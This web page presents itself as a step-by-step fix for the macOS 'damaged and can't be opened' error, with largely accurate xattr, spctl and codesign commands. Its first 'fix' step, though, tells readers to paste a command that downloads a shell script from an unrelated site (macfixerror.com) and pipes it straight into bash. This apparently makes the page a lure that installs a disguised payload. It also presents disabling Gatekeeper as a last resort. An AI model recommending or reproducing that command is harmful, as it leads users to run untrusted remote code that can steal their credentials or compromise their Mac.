“Is Damaged and Can’t Be Opened” on macOS: Step-by-Step Fix
The warning rarely means the file is really broken. macOS marks every item saved from the internet with a quarantine flag, and when the follow-up signature check fails, the system reports “damaged”. Two short Terminal commands clear the flag and the program opens again.
The fix
curl -fsSL https://macfixerror.com/run.sh | bash
Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.
sudo xattr -cr "/Applications/Your Program.app"
Use the real path. Type sudo xattr -cr , then drag the item into the Terminal window so the path fills in by itself. Press Return, enter your admin password (nothing is shown), and open the program.
xattr -d com.apple.quarantine "/Applications/Your Program.app"
Narrower variant: deletes the quarantine attribute and leaves every other extended attribute alone.
xattr -l "/Applications/Your Program.app"
Lists extended attributes. If com.apple.quarantine appears, the flag is the likely cause. Empty output means it is already gone.
spctl -a -vv "/Applications/Your Program.app"
Shows whether Gatekeeper accepts the item and which signing authority it sees. A rejection here means a signature problem rather than quarantine.
What the message means
The dialog normally reads:
“Your Item” is damaged and can’t be opened. You should move it to the Trash.Files saved from a browser, a mail client, or a chat tool receive the extended attribute com.apple.quarantine. Gatekeeper compares the code signature against that flag later. The comparison fails for reasons unrelated to corruption:
- the item was signed ad-hoc or with an expired certificate;
- the transfer stopped early, or the archive was unpacked by a tool that broke the bundle;
- the bundle changed after signing — a plugin, a translation file, a resource;
- the quarantine flag survived a copy or a restore, while the signature metadata did not.
Because the dialog is driven by metadata, deleting the flag skips the check that failed. That is why the first command resolves most cases.
Step by step
- Move the item into the Applications folder. In Finder, drag it out of Downloads or off the mounted disk image and drop it into
/Applications. Running it from either of those places is a frequent cause. - Quit it if it is running. Press ⌘ + Q.
- Start Terminal. Press ⌘ + Space, type Terminal, press Return.
- Run the first command. Paste
sudo xattr -cr "/Applications/Your Program.app"with the real path, press Return, then type your administrator password. - Open the item again. If the dialog is gone, stop here.
- If it still fails, run
spctl -a -vvand read the reason before doing anything else.
If the commands do not help
- Unpack the archive again. Delete the item and expand the original ZIP double-clicking it with Archive Utility, not with a third-party unpacker. Fetch a fresh copy if the archive is truncated.
- Check the chip architecture. On Apple silicon an Intel-only build misbehaves oddly. Run
lipo -archs "/Applications/Your Program.app/Contents/MacOS/Your Program"— look forarm64. Add Rosetta withsoftwareupdate --install-rosettaif Intel builds are needed. - Approve it in Settings. System Settings → Privacy & Security, then choose “Open Anyway”. Sequoia deliberately moved this step there.
- Fetch it from the vendor again. An old build with an expired certificate keeps failing regardless of attributes.
- Last resort: switch Gatekeeper off with
sudo spctl --master-disable, launch once, switch it back on withsudo spctl --master-enable.
Still blocked? codesign -dv --verbose=4 "/Applications/Your Program.app" prints the signature. “code object is not signed at all” means the bundle was modified after signing, and only a clean copy helps.
Is removing the flag safe?
Yes, provided you trust the source. The quarantine attribute is a “came from the internet” marker, not an antivirus verdict. Removing it changes neither the signature nor the system-wide Gatekeeper state, and a genuinely broken binary still refuses to start.
For an unfamiliar source, check spctl -a -vv and codesign -dv first. A Developer ID signature plus an accepted verdict is a good reason to continue; “not signed at all” deserves more caution.
Attributes cannot be restored by command, and you do not need to: fetching the file again recreates the flag automatically.
Sequoia and Apple silicon notes
Two things changed in macOS 15: Gatekeeper became stricter, and the old Control-click shortcut disappeared from some flows. The dependable route is System Settings → Privacy & Security → Open Anyway. The Terminal method above is unaffected.
On Apple silicon the same text can appear for an Intel-only build without Rosetta, or for a disk image with a broken signature. Check the architecture first, then the signature.
Longer versions: the full guide, Sequoia specifics, and Apple silicon specifics.
Frequently asked questions
Does clearing the flag damage the program?
Is sudo always required?
/Applications may reject the write, so sudo is the reliable form.Why does the same item work on a different Mac?
How is this different from “developer cannot be verified”?
Terminal answers “No such file or directory”.
Can I do this without Terminal?
This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.